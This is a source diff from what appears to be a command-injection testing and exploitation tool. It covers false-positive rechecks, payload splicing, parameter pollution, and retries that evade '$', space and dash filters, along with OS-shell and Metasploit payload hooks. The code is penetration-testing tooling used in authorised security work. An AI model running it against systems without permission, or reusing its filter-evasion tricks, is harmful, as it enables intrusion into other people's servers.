+parameter that only ever rests on an inference (boolean/time/file/tempfile/out-of-band) is asked the
+same question once more before it is reported, the way the earlier per-technique confirmations were
+each asked it on their own. 'mark' is the length of settings.CONFIRMED_INJECTION_POINTS before this
+parameter's techniques ran, so only the entries they just added are the ones being re-asked about.
+"""
+def final_false_positive_check(url, http_request_method, check_parameter, timesec, mark):
+ new_points = settings.CONFIRMED_INJECTION_POINTS[mark:]
+ if not new_points or settings.LOAD_SESSION:
+ return
+ # One technique that proved itself is enough for the parameter, so there is nothing here to take
+ # back - whatever the inference-based ones alongside it would have answered on a second ask.
+ if any(row[0] not in _INFERRED_TECHNIQUES for row in new_points):
+ return
+ boundary = settings.CONFIRMED_BOUNDARY.get(settings.CHECKING_PARAMETER)
+ if not boundary:
+ return
+ prefix, suffix, separator, whitespace = boundary
+ from src.core.controller import injector
+ # One line for the whole parameter, said once - not the per-technique wording each technique's
+ # own confirmation already prints on the way here.
+ info_msg = "Checking if the injection point on " + settings.CHECKING_PARAMETER + " is a false positive"
+ if settings.VERBOSITY_LEVEL != 0:
+ info_msg = info_msg + "." + settings.END_LINE.LF
+ else:
+ info_msg = info_msg + ", please wait..."
+ settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg))
+ # A delay of 0 is what settings.TIMESEC sits at until some technique asks for a real one - a
+ # purely blind confirmation found through boolean-based alone never did, so the sleep this litmus
+ # measures needs the same safe minimum any other first ask for a delay would get.
+ timesec = timesec or settings.MIN_SAFE_TIMESEC
+ # The executor hands back elapsed time only while this flag is set - unset it hands back the raw
+ # response instead, which is all the litmus this reuses was ever written to read.
+ previous = settings.TIME_RELATED_ATTACK
+ settings.TIME_RELATED_ATTACK = True
+ try:
+ # Silent: this prints its own single line above, not the per-request chatter the reused check
+ # would otherwise add underneath it - but still asks for its dots, one per real request, same
+ # as every other multi-request progress line here.
+ _, output = injector.false_positive_check(separator, "", "", prefix, suffix, whitespace, timesec, http_request_method,
+ url, check_parameter, None, 1, False, 0, 0, False,
+ settings.INJECTION_TECHNIQUE.TIME_BASED, silent=True, show_dots=True)
+ # This litmus leans on '$?' and '$((...))' to read its own exit status back, which a
+ # technique other than time/boolean-based never needed and a filter on '$' blocks outright -
+ # a confirmed file/tempfile/OOB finding would otherwise be taken back over a limitation in
+ # the re-ask, not in the finding. Retried once, already-'$'-free, before giving up.
+ if not output and not settings.SKIP_SUBST and separator in (";", "\n", "\r\n", "&", "|"):
+ settings.SKIP_SUBST = True
+ try:
+ _, output = injector.false_positive_check(separator, "", "", prefix, suffix, whitespace, timesec, http_request_method,
+ url, check_parameter, None, 1, False, 0, 0, False,
+ settings.INJECTION_TECHNIQUE.TIME_BASED, silent=True, show_dots=True)
+ # Still nothing, and the confirmed boundary's own whitespace is a literal space - the one
+ # character the '$'-free retry above never swapped out. A horizontal tab reaches the same
+ # 'if test ... then sleep ... fi', is just as much a POSIX word separator, and is not what
+ # a filter written against a literal space character, specifically, is looking for.
+ if not output and whitespace == settings.SINGLE_WHITESPACE:
+ _, output = injector.false_positive_check(separator, "", "", prefix, suffix, "\t", timesec, http_request_method,
+ url, check_parameter, None, 1, False, 0, 0, False,
+ settings.INJECTION_TECHNIQUE.TIME_BASED, silent=True, show_dots=True)
+ finally:
+ settings.SKIP_SUBST = False
+ # None of the above helps a filter built around a literal '-' rather than whitespace or '$' -
+ # every numeric 'test' this litmus writes leans on '-eq', whichever of the branches above built
+ # it. 'dashlesstest' already reads that the dash-free way ('=' in its place), so one more try
+ # with it applied is the same finding, asked a way this one filter does not catch.
+ if not output and "dashlesstest" not in settings.MULTI_ENCODED_PAYLOAD and \
+ not (settings.USER_APPLIED_TAMPER or menu.options.tamper):
+ settings.AUTO_TAMPER.append("dashlesstest")
+ tamper_scripts(stored_tamper_scripts=True)
+ _, output = injector.false_positive_check(separator, "", "", prefix, suffix, whitespace, timesec, http_request_method,
+ url, check_parameter, None, 1, False, 0, 0, False,
+ settings.INJECTION_TECHNIQUE.TIME_BASED, silent=True, show_dots=True)
+ finally:
+ settings.TIME_RELATED_ATTACK = previous
+ if settings.VERBOSITY_LEVEL == 0:
+ settings.print_data_to_stdout(" (done)")
+ if not output:
+ # Said out loud, because what was already announced as found is being taken back here - left
+ # silent, the line that follows reads as though the technique above had never confirmed at all.
+ warn_msg = (settings.CHECKING_PARAMETER + " did not answer the same boundary a second time, so the "
+ "finding" + ('s', '')[len(new_points) == 1] + " reported above " +
+ ("is", "are")[len(new_points) != 1] + " discarded as a false positive.")
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ settings.CONFIRMED_INJECTION_POINTS = settings.CONFIRMED_INJECTION_POINTS[:mark]
+ settings.IDENTIFIED_COMMAND_INJECTION = False
+ for row in new_points:
+ setattr(settings, _STATE_BY_TECHNIQUE[row[0]], False)
+
+"""
+Check for quoted values
+"""
+def quoted_value(value):
+ return '"' + value + '"'
+
+"""
+Payload fixation
+"""
+def payload_fixation(payload):
+
+ payload = _urllib.parse.unquote(payload)
+ payload = _urllib.parse.quote(payload)
+ return payload
+
+"""
+Get response output
+"""
+def get_response(output):
+ request = _urllib.request.Request(output)
+ headers.do_check(request)
+ response = headers.check_http_traffic(request)
+ if response is None:
+ response = headers.resend(request)
+ return response
+
+"""
+Check for non custom parameters.
+"""
+def process_non_custom():
+ if settings.CUSTOM_INJECTION_MARKER and not settings.SKIP_NON_CUSTOM_PARAMS:
+ while True:
+ message = "Other non-custom parameters found."
+ message += " Do you want to process them too? [Y/n] "
+ process = common.read_input(message, default="Y", check_batch=True)
+ if process in settings.CHOICE_YES:
+ settings.CUSTOM_INJECTION_MARKER = False
+ settings.SKIP_NON_CUSTOM_PARAMS = settings.IGNORE_USER_DEFINED_POST_DATA = False
+ return
+ elif process in settings.CHOICE_NO:
+ settings.SKIP_NON_CUSTOM_PARAMS = True
+ settings.IGNORE_USER_DEFINED_POST_DATA = False
+ return
+ elif process in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(process)
+ pass
+
+"""
+Process the defined injectable value
+"""
+"""
+The same parameter sent twice, with the payload where the application will read it.
+
+A filter and the application behind it do not have to agree about which of two same-named parameters
+counts. Where they disagree, a value that passes inspection can be sent in the occurrence the filter
+reads, and the payload in the one the application reads.
+
+Which that is belongs to the platform, so the banner decides it. A platform that joins the two rather
+than choosing between them is told about instead of worked around: a joined value arrives with the
+separator inside it, and there is no comment in a shell that can swallow one the way there is in a
+query, so nothing sent this way would run.
+"""
+def polluted_parameter(target, payload):
+ if not menu.options.hpp or not payload:
+ return target
+ if settings.IS_JSON or settings.IS_XML or settings.IS_GRAPHQL:
+ if not settings.HPP_POSITION_SAID:
+ settings.HPP_POSITION_SAID = True
+ warn_msg = "Parameter pollution applies to ordinary GET and POST parameters, not to a structured body."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return target
+ # The parameter the payload landed in, named by what sits in front of it.
+ at = target.rfind(payload)
+ if at < 1:
+ return target
+ named = re.search(r"([^&?=\s]+)=$", target[:at])
+ if not named:
+ return target
+ banner = (settings.SERVER_BANNER or "").lower()
+ if any(_ in banner for _ in settings.HPP_CONCATENATES):
+ if not settings.HPP_POSITION_SAID:
+ settings.HPP_POSITION_SAID = True
+ warn_msg = "This target joins same-named parameters rather than choosing between them, which leaves "
+ warn_msg += "the separator inside the command - '--hpp' cannot help here."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+ return target
+ first_wins = any(_ in banner for _ in settings.HPP_FIRST_WINS)
+ last_wins = any(_ in banner for _ in settings.HPP_LAST_WINS)
+ name = named.group(1)
+ # The parameter's own value, not the stand-in that replaces it where the sink turned out not to
+ # need it: this occurrence is the one meant to read as the value the application was sent, and a
+ # filter that checks the shape of what it is given rejects three random letters where it would
+ # have passed an address. The payload's own occurrence still carries whatever is in the carrier.
+ original = settings.VALUE_SKIPPED_EARLY[0] if settings.VALUE_SKIPPED_EARLY else settings.TESTABLE_VALUE
+ original = original if original and original.strip() else ""
+ if not settings.HPP_POSITION_SAID:
+ settings.HPP_POSITION_SAID = True
+ info_msg = "Sending '" + name + "' twice, with the payload "
+ info_msg += "first" if first_wins else "last"
+ # Which occurrence is read was established only where the banner named a platform that is known
+ # to choose one. A banner that named nothing, or nothing recognised, leaves the position where
+ # the most commonly tested platforms read it - which is a guess, and is said as one rather than
+ # as something the target was asked.
+ if first_wins or last_wins:
+ info_msg += " - which is the one '" + settings.SERVER_BANNER + "' reads."
+ elif settings.SERVER_BANNER:
+ info_msg += ", which is where the platforms most often tested read it - '" + settings.SERVER_BANNER
+ info_msg += "' names nothing that says which of the two it chooses."
+ else:
+ info_msg += ", which is where the platforms most often tested read it - this target named "
+ info_msg += "nothing to decide it by."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ if first_wins:
+ polluted = payload + "&" + name + "=" + original
+ else:
+ polluted = original + "&" + name + "=" + payload
+ return target[:at] + polluted + target[at + len(payload):]
+
+"""
+Splice the payload into what carries it.
+
+'pollute' is the caller's to say, because only the caller knows what it is handing over. A query
+string and a form body separate their parameters with '&' and can carry the same name twice; a
+cookie separates with ';', and a second '&name=' there is not another cookie but more of the value
+of the first - so a carrier that was not asked to be polluted is left as it is.
+"""
+def process_injectable_value(payload, data, pollute=False):
+ # An empty value has nothing to mask, and masking on one would put the tag between every
+ # character of the carrier - the injection tag already says where the payload goes, so an empty
+ # value is spliced on that alone. Stood in for by a single whitespace, as it was, that space
+ # reached the target as the value's own first byte, in front of every payload: a sink reading
+ # that byte for itself - a leading '|' handed to an interpreter's own open() - was never once
+ # sent the separator it was being tested with.
+ if len(settings.TESTABLE_VALUE) == 0:
+ spliced = data.replace(settings.INJECT_TAG, payload)
+ return polluted_parameter(spliced, payload) if pollute else spliced
+ # Regenerate the tag if it overlaps the testable value.
+ random_tag = settings.RANDOM_TAG
+ while random_tag in settings.TESTABLE_VALUE or settings.TESTABLE_VALUE in random_tag:
+ random_tag = ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10))
+ masked = data.replace(settings.TESTABLE_VALUE, random_tag)
+ if settings.TESTABLE_VALUE in masked.replace(settings.INJECT_TAG, ""):
+ spliced = masked.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload).replace(random_tag, settings.TESTABLE_VALUE)
+ else:
+ spliced = masked.replace(random_tag + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload).replace(random_tag, settings.TESTABLE_VALUE)
+ return polluted_parameter(spliced, payload) if pollute else spliced
+
+"""
+Remove all injection tags from provided data
+"""
+def remove_tags(data):
+ if not data:
+ data = ""
+ data = data.replace(settings.INJECT_TAG,"").replace(settings.ASTERISK_MARKER, "").replace(settings.RANDOM_TAG, "")
+ # The marker character is one only where the run found it in the user's own input - anywhere else
+ # it is an ordinary character, and a command such as "ls *.php" has to reach the target intact.
+ if settings.CUSTOM_INJECTION_MARKER is not None:
+ data = data.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, "")
+ return data
+
+"""
+Process data with custom injection marker character ('*')
+"""
+def process_custom_injection_data(data):
+ if not isinstance(data, str):
+ # Safely return empty string if input is not a valid string
+ return ""
+
+ if settings.CUSTOM_INJECTION_MARKER is not None:
+ lines = []
+ for line in data.split(settings.END_LINE.ESCAPED_LF):
+ if not line.startswith(settings.ACCEPT) and settings.CUSTOM_INJECTION_MARKER_CHAR in line:
+ if menu.options.test_parameter is not None and settings.CUSTOM_INJECTION_MARKER is False:
+ line = remove_tags(line)
+ line = line.replace(settings.CUSTOM_INJECTION_MARKER_CHAR, settings.ASTERISK_MARKER)
+ lines.append(line)
+
+ # Remove duplicates, then rejoin lines
+ # Taken off as the sequence it is, not as the set of characters it is written with: rstrip()
+ # reads its argument as a set, so a value ending in 'n' or a backslash lost them here.
+ data = settings.END_LINE.ESCAPED_LF.join(list(dict.fromkeys(lines)))
+ while data.endswith(settings.END_LINE.ESCAPED_LF):
+ data = data[:-len(settings.END_LINE.ESCAPED_LF)]
+
+ return data
+
+"""
+Check for custom injection marker character ('*').
+"""
+def custom_injection_marker_character(url, http_request_method):
+ found = settings.CUSTOM_INJECTION_MARKER = False
+ settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST = []
+
+ if url and settings.CUSTOM_INJECTION_MARKER_CHAR in url:
+ option = "'-u'"
+ found = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = True
+ if menu.options.data and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.data:
+ option = str(http_request_method) + " body"
+ found = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True
+ if not found:
+ option = "option '--header(s)/--user-agent/--referer/--cookie'"
+ # Whether the value carries the marker that says where a payload goes.
+ def has_marker(value):
+ return bool(value) and settings.CUSTOM_INJECTION_MARKER_CHAR in re.sub(settings.PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value)
+
+ if has_marker(menu.options.cookie):
+ settings.CUSTOM_INJECTION_MARKER = settings.COOKIE_INJECTION = settings.INJECTION_MARKER_LOCATION.COOKIE = True
+ if has_marker(menu.options.agent):
+ settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.USER_AGENT_INJECTION = True
+ if has_marker(menu.options.referer):
+ settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.REFERER_INJECTION = True
+ if has_marker(menu.options.host):
+ settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.HOST_INJECTION = True
+ if has_marker(menu.options.header) or has_marker(menu.options.headers):
+ settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS = True
+ if settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT:
+ if settings.CUSTOM_HEADER_CHECK not in settings.TESTABLE_PARAMETERS_LIST:
+ settings.CUSTOM_INJECTION_MARKER = True
+ else:
+ settings.CUSTOM_HEADER_INJECTION = True
+
+ if settings.CUSTOM_INJECTION_MARKER:
+ while True:
+ message = "Custom injection marker ('" + settings.CUSTOM_INJECTION_MARKER_CHAR + "') found in " + option +". "
+ message += "Do you want to process it? [Y/n] "
+ procced_option = common.read_input(message, default="Y", check_batch=True)
+ if procced_option in settings.CHOICE_YES:
+ return True
+ elif procced_option in settings.CHOICE_NO:
+ return False
+ elif procced_option in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(procced_option)
+ pass
+
+"""
+Logging a debug message when a specific injection technique is being skipped.
+"""
+def skipping_technique(technique, injection_type, state):
+ if settings.VERBOSITY_LEVEL != 0 and state is not True:
+ debug_msg = "Skipping the " + technique_label(injection_type, technique) + "."
+ settings.print_data_to_stdout(settings.print_debug_msg(debug_msg))
+
+"""
+Prompt the user to select a mobile User-Agent string.
+"""
+def mobile_user_agents():
+ devices, default_index = common.load_mobile_user_agents()
+ menu.mobile_user_agents(devices, default_index)
+
+ while True:
+ message = "Which smartphone do you want " + settings.APPLICATION + " to imitate through HTTP User-Agent header? "
+ mobile_user_agent = common.read_input(message, default=str(default_index + 1), check_batch=True)
+ try:
+ choice = int(mobile_user_agent)
+ if choice in range(1, len(devices) + 1):
+ return devices[choice - 1][1]
+ else:
+ common.invalid_option(mobile_user_agent)
+ except ValueError:
+ if mobile_user_agent.lower() == "q":
+ raise SystemExit()
+ else:
+ common.invalid_option(mobile_user_agent)
+
+
+"""
+Run host OS command(s) when injection point is found.
+"""
+def alert():
+ if settings.ALERT:
+ info_msg = "Executing alerting shell command(s) '" + str(menu.options.alert) + "'."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ try:
+ process = subprocess.Popen(menu.options.alert, shell=True)
+ process.wait()
+ except Exception:
+ err_msg = "Error occurred while executing command(s) '" + str(menu.options.alert) + "'."
+ settings.print_data_to_stdout(settings.print_error_msg(err_msg))
+
+"""
+Check for HTTP Method
+"""
+def check_http_method(url):
+ if settings.CRAWLING and not settings.USER_DEFINED_POST_DATA:
+ http_request_method = settings.HTTPMETHOD.GET
+ elif menu.options.method:
+ http_request_method = menu.options.method.upper()
+ # A target that arrived carrying a method of its own - a request file, a proxy log, an operation a
+ # specification describes - is asked the way it says to ask it. Worked out from whether it has a
+ # body instead, every method that is neither GET nor POST would be sent as one of those two.
+ elif settings.HTTP_METHOD:
+ http_request_method = settings.HTTP_METHOD.upper()
+ elif isinstance(url, str) and settings.INJECT_TAG in url:
+ http_request_method = settings.HTTPMETHOD.GET
+ else:
+ if settings.COOKIE_INJECTION:
+ http_request_method = settings.COOKIE
+ elif settings.USER_DEFINED_POST_DATA:
+ http_request_method = settings.HTTPMETHOD.POST
+ else:
+ http_request_method = settings.HTTPMETHOD.GET
+ return http_request_method
+
+"""
+True (having said so) when Metasploit isn't installed - every msfvenom-backed payload needs it.
+"""
+def metasploit_missing():
+ if os.path.exists(settings.METASPLOIT_PATH):
+ return False
+ settings.print_data_to_stdout(settings.print_error_msg(settings.METASPLOIT_ERROR_MSG))
+ return True
+
+"""
+Suggest '--os-shell', unless it is already in play. Held back rather than printed here: it is
+advice about the next run, so it belongs with the last lines of this one and not in the middle of
+the output of whatever the finding is being used for.
+"""
+def suggest_os_shell():
+ if not menu.options.os_shell:
+ settings.OS_SHELL_SUGGESTION_PENDING = True
+
+"""
+Print the held-back '--os-shell' suggestion, once, wherever the run ends.
+"""
+def flush_os_shell_suggestion():
+ if not settings.OS_SHELL_SUGGESTION_PENDING:
+ return
+ settings.OS_SHELL_SUGGESTION_PENDING = False
+ info_msg = "Re-run with the '--os-shell' switch to access a command shell."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+
+"""
+What every target is owed once it is done with, whether or not the run ends here: the out-of-band
+channel is closed and the file left for the command output is offered for deletion. Separate from
+quit(), which always raises - so with several targets this never used to be reached at all.
+"""
+def finish_target():
+ close_oob_channel()
+ logs.write_results_rows()
+ for cleanup_fn in list(settings.PENDING_FILE_CLEANUPS.values()):
+ cleanup_fn()
+ settings.PENDING_FILE_CLEANUPS.clear()
+ if settings.LEFTOVER_FILES:
+ info_msg = "Files left behind: " + ", ".join(settings.LEFTOVER_FILES) + "."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ del settings.LEFTOVER_FILES[:]
+ # Said once at the end rather than per request: what was dropped is worth knowing, since results
+ # are read from the requests that did answer.
+ if settings.IGNORED_TIMEOUTS:
+ info_msg = str(settings.IGNORED_TIMEOUTS) + " request"
+ info_msg += "s"[settings.IGNORED_TIMEOUTS == 1:] + " timed out and "
+ info_msg += ("were" if settings.IGNORED_TIMEOUTS != 1 else "was") + " skipped ('--ignore-timeouts')."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ settings.IGNORED_TIMEOUTS = 0
+
+"""
+Technique letters written out. Used to name what a run did not look at.
+"""
+def technique_names(letters):
+ chosen = [settings.TECHNIQUE_LETTER_NAMES[_] for _ in settings.AVAILABLE_TECHNIQUES if _ in letters]
+ if not chosen:
+ return ""
+ name = chosen[0] if len(chosen) == 1 else ", ".join(chosen[:-1]) + " and " + chosen[-1]
+ return name + " technique" + "s"[len(chosen) == 1:]
+
+# The techniques this run was told to leave out, named for the message that says so.
+def untested_techniques():
+ return technique_names([_ for _ in settings.AVAILABLE_TECHNIQUES if _ not in menu.options.tech])
+
+"""
+The payload builder the time-based technique uses: the same technique reaches either sink, and what
+differs is only what the payload is written in - shell for a command, the language for an evaluation.
+"""
+def time_based_payloads():
+ if menu.options.eval_sink:
+ from src.core.eval.payloads import time_based as payloads
+ else:
+ from src.core.techniques.time_based import tb_payloads as payloads
+ return payloads
+
+"""
+The payload builder the file-based technique uses, chosen the same way: the file it writes and reads
+back is the technique's, and the sink only decides how the command that fills it is reached.
+"""
+def boolean_based_payloads():
+ if menu.options.eval_sink:
+ from src.core.eval.payloads import boolean_based as payloads
+ else:
+ from src.core.techniques.boolean_based import bb_payloads as payloads
+ return payloads
+
+"""
+The payload builder the file-based technique uses, chosen the same way.
+"""
+def file_based_payloads():
+ if menu.options.eval_sink:
+ from src.core.eval.payloads import file_based as payloads
+ else:
+ from src.core.techniques.file_based import fb_payloads as payloads
+ return payloads
+
+"""
+The payload builder the tempfile-based technique uses, chosen the same way: the file it writes and
+then reads back a byte at a time is the technique's, and the sink only decides how the command that
+fills it is reached, and in whose language the reading is asked for.
+"""
+def tempfile_based_payloads():
+ if menu.options.eval_sink:
+ from src.core.eval.payloads import tempfile_based as payloads
+ else:
+ from src.core.techniques.tempfile_based import tfb_payloads as payloads
+ return payloads
+
+"""
+The prefixes an evaluation sink is reached through, the language's own execution functions included.
+
+Built fresh every time rather than by rewriting the lists: this is asked for once per parameter, and
+wrapping in place would wrap what the last parameter already wrapped.
+"""
+def eval_prefixes():
+ prefixes = list(settings.EVAL_PREFIXES)
+ for function in settings.EXECUTION_FUNCTIONS:
+ # How a function is reached is the language's own spelling, not something to assume here.
+ candidate = settings.EVAL_GRAMMAR.execution_prefix(function)
+ if candidate not in prefixes:
+ prefixes.append(candidate)
+ return prefixes
+
+"""
+The boundaries a payload is wrapped in: what breaks into a shell command is not what breaks into a
+string the target evaluates, so the sink chooses them rather than the technique.
+"""
+def sink_boundaries():
+ if menu.options.eval_sink:
+ return settings.EVAL_PREFIXES, settings.EVAL_SUFFIXES, settings.EVAL_SEPARATORS
+ """
+ A suffix whose whole job is to comment out what follows it is a suffix only where the shell has a
+ comment to write. 'cmd.exe' has none that a trailing marker can use - 'REM' begins a statement
+ rather than ending one - so a POSIX '#' asked of a Windows target is a boundary it cannot honour,
+ sent once per separator on every parameter tested.
+ """
+ suffixes = settings.SUFFIXES
+ if settings.TARGET_OS == settings.OS.WINDOWS:
+ suffixes = [candidate for candidate in suffixes if candidate.strip() != settings.COMMENT]
+ return settings.PREFIXES, suffixes, settings.SEPARATORS
+
+"""
+What the grammar in hand calls a separator, which is not what this target can chain on - the latter
+is what 'chainable_separators()' narrows the list to, and a suffix is dead against a payload that
+closed itself whether or not this target happens to chain on it.
+"""
+def grammar_separators():
+ if menu.options.eval_sink:
+ return settings.EVAL_SEPARATORS
+ return settings.SEPARATORS
+
+"""
+Whether a technique is one this run is testing. Two separate choices sit behind it: which sink is
+being tested, chosen with '--eval', and by which technique, chosen with '--technique'. A technique
+runs when its letter was asked for and it reaches the sink in hand, so the two compose.
+
+Out-of-band is not one of the techniques '--technique' names - its letter is not in
+settings.AVAILABLE_TECHNIQUES, so a user can never ask for it there, and naming a technique
+alongside '--oob' is refused rather than merged. The switch selects the out-of-band technique on
+its own, which leaves it the only one this run is testing.
+"""
+def technique_selected(tech_letter, eval_sink=False):
+ if tech_letter == settings.OOB_TECHNIQUE_LETTER:
+ return bool(menu.options.oob)
+ if bool(menu.options.eval_sink) != bool(eval_sink):
+ return False
+ return len(menu.options.tech) == 0 or tech_letter in menu.options.tech
+
+"""
+Whether this run is working through several targets rather than the one it was pointed at.
+
+Wider than the flag a target list sets, because a crawl and a page of forms are the same thing
+arrived at differently: the run was given somewhere to look rather than something to test, and what
+it finds is a set of findings rather than one.
+"""
+def several_targets():
+ return bool(settings.MULTI_TARGETS or settings.CRAWLING or menu.options.crawldepth or
+ menu.options.forms or menu.options.sitemap_url or menu.options.bulkfile)
+
+"""
+Whether what was found on this target is to be acted on, or only reported.
+
+Worth asking where there is another target waiting: a list is gone through to find out which of its
+entries are vulnerable, and being dropped into a shell on the first one - or made to sit through an
+enumeration of it - is not what that run was started for. A single target is what the run is about,
+so nothing is asked there and the answer is yes.
+"""
+def exploit_this_target():
+ if not several_targets() or not settings.CONFIRMED_INJECTION_POINTS:
+ return True
+ while True:
+ message = "Do you want to exploit this injection point? [Y/n] "
+ exploit = common.read_input(message, default="Y", check_batch=True)
+ if exploit in settings.CHOICE_YES:
+ return True
+ elif exploit in settings.CHOICE_NO:
+ return False
+ elif exploit in settings.CHOICE_QUIT:
+ raise SystemExit()
+ else:
+ common.invalid_option(exploit)
+ pass
+
+"""
+Quit - hard_exit ends the process immediately (os._exit), otherwise SystemExit unwinds normally.
+"""
+def quit(filename, url, hard_exit):
+ exploit = exploit_this_target()
+ if settings.CONFIRMED_INJECTION_POINTS:
+ confirmed_injection_points_summary()
+ if exploit:
+ suggest_os_shell()
+ settings.CONFIRMED_INJECTION_POINTS = []
+ # Post-detection actions run once, after detection finishes.
+ if not exploit:
+ settings.PENDING_POST_DETECTION_ACTIONS = []
+ settings.PENDING_OS_SHELL_ENTRY = None
+ else:
+ # From here on the commands are the ones the user asked for.
+ settings.EXPLOITATION_STARTED = True
+ for action_fn in list(settings.PENDING_POST_DETECTION_ACTIONS):
+ action_fn()
+ settings.PENDING_POST_DETECTION_ACTIONS = []
+ # Asked for with '--proof': run after everything the detection had to say, so the evidence stands
+ # on its own rather than in the middle of the run's own reporting.
+ from src.core.controller import proof
+ proof.prove(filename, url)
+ # Recurses into quit() when the shell exits; the rest runs there.
+ if settings.PENDING_OS_SHELL_ENTRY:
+ entry = settings.PENDING_OS_SHELL_ENTRY
+ settings.PENDING_OS_SHELL_ENTRY = None
+ entry()
+ finish_target()
+ if settings.LOAD_SESSION and not settings.LOGS_NOTIFICATION_SHOWN:
+ settings.LOGS_NOTIFICATION_SHOWN = True
+ logs.logs_notification(filename)
+ logs.print_logs_notification(filename, url)
+ common.show_http_error_codes()
+ if hard_exit:
+ raise exit()
+ else:
+ raise SystemExit()
+
+"""
+User aborted procedure
+"""
+def user_aborted(filename, url):
+ settings.clear_current_line()
+ save_cmd_history()
+ abort_msg = "User aborted procedure "
+ abort_msg += "during the " + assessment_phase()
+ abort_msg += " phase (Ctrl-C pressed)."
+ settings.print_data_to_stdout(settings.print_abort_msg(abort_msg))
+ if settings.LOAD_SESSION and not settings.LOGS_NOTIFICATION_SHOWN:
+ settings.LOGS_NOTIFICATION_SHOWN = True
+ logs.logs_notification(filename)
+ logs.print_logs_notification(filename, url)
+ common.show_http_error_codes()
+ raise exit()
+
+"""
+Prompts for and applies a new verbosity level (0-4) - used by the Ctrl-C menus.
+"""
+def change_verbosity():
+ msg = "Enter new verbosity level (0-4) [current: " + str(settings.VERBOSITY_LEVEL) + "] "
+ # Ctrl-C is itself an explicit request for attention - always prompt for
+ # real input here, even under --batch.
+ choice = common.read_input(msg, default=str(settings.VERBOSITY_LEVEL), check_batch=False)
+ try:
+ level = int(choice or settings.VERBOSITY_LEVEL)
+ except ValueError:
+ level = None
+ if level is not None and 0 <= level <= 4:
+ settings.VERBOSITY_LEVEL = level
+ menu.options.verbose = level
+ info_msg = "Verbosity level set to " + str(level) + "."
+ settings.print_data_to_stdout(settings.print_info_msg(info_msg))
+ else:
+ warn_msg = "Invalid verbosity level - keeping the current value (" + str(settings.VERBOSITY_LEVEL) + ")."
+ settings.print_data_to_stdout(settings.print_warning_msg(warn_msg))
+
+"""
+Ctrl-C during detection - ask how to proceed instead of aborting outright.
+"""
+def handle_detection_interrupt(filename, url):
+ settings.clear_current_line()
+ if settings.MULTI_TARGETS:
+ msg = "How do you want to proceed? [(C)ontinue/ne(X)t target/(S)kip current technique/(e)nd detection phase/(n)ext parameter/(v)erbosity/(q)uit] "
+ valid_choices = ("c", "x", "s", "e", "n", "v", "q")
+ else:
+ msg = "How do you want to proceed? [(C)ontinue/(S)kip current technique/(e)nd detection phase/(n)ext parameter/(v)erbosity/(q)uit] "
+ valid_choices = ("c", "s", "e", "n", "v", "q")
+ default = "C"
+ choice = "q"
+ try:
+ while True:
+ # Ctrl-C is itself an explicit request for attention - always prompt, even under --batch.
+ choice = (common.read_input(msg, default=default, check_batch=False) or default).strip().lower()
+ if choice in valid_choices:
+ break
+ common.invalid_option(choice)
+ except KeyboardInterrupt:
+ settings.clear_current_line()
+ choice = "q"
+ if choice == "c":
+ raise settings.RetryTechniqueException()
+ elif choice == "v":
+ change_verbosity()
+ raise settings.RetryTechniqueException()
+ elif choice == "x":
+ raise settings.NextTargetException()
+ elif choice == "e":
+ raise settings.EndDetectionPhaseException()
+ elif choice == "n":
+ raise settings.NextParameterException()
+ elif choice == "q":
+ user_aborted(filename, url)
+ else:
+ # "s" - move on to the next technique.
+ raise settings.SkipTechniqueException()
+
+"""
+Ctrl-C outside the per-test loop (heuristics, WAF check, identification) -
+too coarse to resume one specific test, so just offer to move on or quit.
+"""
+def handle_early_interrupt(filename, url):
+ if not settings.MULTI_TARGETS:
+ user_aborted(filename, url)
+ settings.clear_current_line()
+ msg = "How do you want to proceed? [ne(X)t target/(v)erbosity/(q)uit] "
+ choice = "q"
+ try:
+ while True:
+ # Ctrl-C is itself an explicit request for attention - always prompt, even under --batch.
+ choice = (common.read_input(msg, default="X", check_batch=False) or "X").strip().lower()
+ if choice in ("x", "v", "q"):
+ break
+ common.invalid_option(choice)
+ except KeyboardInterrupt:
+ settings.clear_current_line()
+ choice = "q"
+ if choice == "v":
+ # No further prompting - changing verbosity just continues (next target).
+ change_verbosity()
+ return
+ if choice == "q":
+ user_aborted(filename, url)
+
+"""
+Ctrl-C during exploitation (shell, calibration, enumeration) - a vulnerability
+is already confirmed, so the only real choice is whether to keep going.
+"""
+def handle_exploitation_interrupt(filename, url):
+ settings.clear_current_line()
+ # "v" here, not "c" - "C" is already taken by "Continue" in this menu.
+ msg = "How do you want to proceed? [(C)ontinue/(v)erbosity/(q)uit] "
+ choice = "q"
+ try:
+ while True:
+ # Ctrl-C is itself an explicit request for attention - always prompt, even under --batch.
+ choice = (common.read_input(msg, default="C", check_batch=False) or "C").strip().lower()
+ if choice in ("c", "v", "q"):
+ break
